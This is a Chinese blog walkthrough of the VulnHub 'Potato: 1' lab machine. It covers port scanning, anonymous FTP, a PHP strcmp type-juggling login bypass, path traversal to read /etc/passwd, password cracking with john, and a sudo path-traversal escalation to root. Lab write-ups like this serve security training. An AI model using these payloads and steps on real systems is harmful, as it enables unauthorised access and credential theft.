vulnhub Potato: 1

渗透思路:

nmap扫描端口 ---- ftp匿名登录下载网站代码 ---- gobuster扫描网站目录 ---- 利用php type juggling漏洞登录网站 ---- 利用LFI获取/etc/passwd ---- john爆破webadmin用户的密码 ---- sudo配合目录遍历提权

环境信息:

靶机:192.168.101.98

攻击机:192.168.101.34

具体步骤:

1、nmap扫描端口

sudo nmap -sV -sC -p- 192.168.101.98

2、ftp匿名登录下载网站代码

由于上一步中nmap扫描到ftp端口2112可以匿名登录,所以用anonymous登录靶机2112端口,并下载文件index.php.bak

ftp 192.168.101.98 2112
ftp> get index.php.bak

3、gobuster扫描网站目录

gobuster dir -u http://192.168.101.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描到/admin和/potato

依次访问发现http://192.168.101.98/admin/是一个登录页面

提交登录信息的表单和index.php.bak中的表单一样一样的

4、利用php type juggling漏洞登录网站

查看index.php.bak文件的php代码部分

我一开始以为是一个密码硬编码问题,但是用用户名admin,密码potato并不能成功登录

后来发现判断用户名是否为admin,密码是否为$pass时用的是==(仅判断值是否相等,不判断类型是否相等),而不是===(类型相等且值相等)

if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0)

在网上找到一种利用方法,最终利用的是PHP中NULL == 0的特性

https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf

简单来说就是原本password参数应该提交一个字符串,但这里提交一个空数组,这样strcmp()的结果就是NULL,而根据下表,php中松散比较(==)时NULL等于0,因此满足条件,可以成功登录

具体操作如下:

1、将burp的intercept打开

2、在http://192.168.101.98/admin/登录

3、抓到上图报文之后,将请求体改为

username=admin&password[]=

4、关掉burp的intercept,即可登录成功

5、利用LFI获取/etc/passwd

点击上图中的dashboard,来到http://192.168.101.98/admin/dashboard.php

点Logs来到http://192.168.101.98/admin/dashboard.php?page=log,选择一个log文件,再点击Get the log按钮

burp中抓到的POST请求体中有个file参数,其值为log文件名

尝试LFI,将log文件名替换为../../../../../../etc/passwd,得到/etc/passwd文件的内容

6、john爆破webadmin用户的密码

上图中发现/etc/passwd中包含webadmin用户md5加密的密码,可以尝试用john破解。

先将上图中靶机/etc/passwd的内容保存为文件passwd,然后用john爆破

john passwd

得到webadmin的密码dragon

以用户名webadmin,密码dragon进行ssh登录

ssh webadmin@192.168.101.98

获得第一个flag

7、sudo配合目录遍历提权

sudo -l发现webadmin可以以任何用户的身份执行/bin/nice /notes/*

查看/bin/nice和 /notes/,以及/notes/下文件的权限,都无法修改或新建文件

尝试能否在执行/bin/nice时跳出/notes/目录

sudo /bin/nice /notes/../bin/bash

成功提权

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值